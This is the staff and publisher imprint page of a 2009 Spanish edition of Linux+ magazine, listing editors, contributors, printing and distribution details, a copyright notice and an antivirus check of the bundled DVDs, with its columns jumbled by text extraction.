Mensual Linux+ está publicado Imprenta: La Redacción se ha esforzado para que el material por Software Press Sp. z o. o. SK ArtDruk, www.artdruk.com publicado en la revista y en los DVDs que la acompañan funcionen correctamente. Sin embargo, Producción: DTP: no se responsabiliza de los posibles problemas que Andrzej Kuca, [email protected] Marcin Ziółkowski puedan surgir. Graphics & Design, www.gdstudio.pl Redactora Jefe Todas las marcas comerciales mencionadas Paulina Pyrowicz, [email protected] Diseño portada: en la revista son propiedad de las empresas Agnieszka Marchocka correspondientes y han sido usadas únicamente Colaboradores: con fines informativos. Francisco Javier Carazo Gil, José Carlos Cortizo Pérez, Gráfico: David Puente Castro, Jorge Emanuel Capurro Łukasz Pabian – "insane" Los DVDs incluidos en la revista han sido comprobados con el programa AntiVirenKit, Difusión: Publicidad: producto de la empresa G Data Software Sp. z o.o. Ilona Lepieszka, [email protected] [email protected] ¡Advertencia! Correctores: Distribución: Queda prohibida la reproducción total o parcial Pablo Cardozo, Jose Luis Lz. de Ciordia Serrano Coedis, S. L. de esta ublicación periódica, por cualquier medio Alberto Elías de Ayala Avd. Barcelona, 225 o procedimiento, sin para ello contar con la 08750 Molins de Rei (Barcelona), autorización previa, expresa y por escrito del editor. Preparación de DVDs: España Ireneusz Pogroszewski, Andrzej Kuca Linux ® es una marca comercial registrada Dirección: de Linus Torvalds. Suscripción: Software Press Sp. z o.o. SK, Anna Padzik, [email protected] ul. Bokserska 1, 02-682 Varsovia, Polonia

83_zajawka_es.indd 90 2009-08-21, 11:38 84_rekl_chicas_linux.indd 1 2009-08-14, 12:39